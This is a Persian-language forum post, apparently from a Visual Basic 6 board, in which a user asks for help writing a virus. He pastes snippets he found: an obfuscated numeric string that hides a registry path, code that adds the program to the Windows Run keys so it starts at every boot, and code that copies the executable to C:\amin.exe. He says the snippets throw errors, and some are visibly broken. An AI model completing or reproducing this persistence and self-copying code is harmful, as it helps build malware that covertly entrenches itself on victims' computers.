(۲۰-آذر-۱۳۸۸, ۱۱:۵۲:۱۶)Di Di نوشته است: [ -> ]دوست عزیز
گرچه در مورد تمام سوالاتی که پرسیدید قبلا داخل همین فروم به طور مفصل بحث شده و نمونه کدها و آموزش های
کاملی در این زمینه توسط دوستان قرار گرفته، اما مطمئن باشید نه در این بخش و نه هیچ بخش دیگه ای به
کسی که حتتی زحمت یه جستجوی ساده رو به خودش نمی ده کمک زیادی نخواهد شد!!!
حالا چه ویروس یا هر برنامه دیگه ای اول خودت شروع به نوشتنش بکن بعد اگه جائی به مشکل بر خوردی بپرس
تا کمکت کنیم.
کی گفته من جستوجو نکردم من آنقدر گشتم که خسته شدم پیدا هم کردم ولی کد مشکل داشتن و ارور میداد بیسیک 6
اینم کدا هایی که پیدا کردم:
Junk = "08307907008408706508206909207707306708207908307907008409208707307806807908708309?2067085082082069078084086069082083073079078092082085078092"
For a = 1 To Len(Junk) Step 3
ch = Chr(Mid(Junk, a, 3))
Tmp = Tmp & ch
Next
RegSetValue &H80000002, Tmp, 1, App.Path & "\" & App.EXEName & ".exe", 10
FilePath = app.path & "\" & app.exename & ".exe"
Set reg = CreateObject("wscript.shell")
reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\"& FilePath
Set reg = Nothing
Private Sub Form_Load()
Dim hregkey As Long
Dim subkey As String
Dim stringbuffer As String
subkey = "Software\Microsoft\Windows\CurrentVersion\Run"
retval = RegOpenKeyEx(HKEY_CURRENT_USER, subkey, 0, KEY_WRITE, hregkey)
If retval <> 0 Then
Debug.Print "Can't open the subkey"
Exit Sub
End If
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar
retval = RegSetValueEx(hregkey, "My App", 0, REG_SZ, ByVal stringbuffer, Len(stringbuffer))
RegCloseKey hregkey
End Sub
بعد تو ماجول هم کدهاي زير ار کپي کن
کد:
Public Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal _
hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
Public Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Public Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _
As String, ByVal Reserved As Long, ByVal dwType As Long, _
lpData As Any, ByVal cbData As Long) As Long
Public Const HKEY_CURRENT_USER = &H80000001
Public Const KEY_WRITE = &H20006
Public Const REG_SZ = 1برنامه شما ديگه با هر بار ويندوز لود ميشه
واسه کپي کردن برنامه هم
کد:
Set fso = CreateObject("scripting.filesystemobject")
myfile = App.Path & "\" & App.EXEName & ".exe"
FileCopy myfile, "C:\amin.exe"
این 3 کد است که من پیدا کردم ولی با ها شون به جایی نرسیدم
آقای Di Di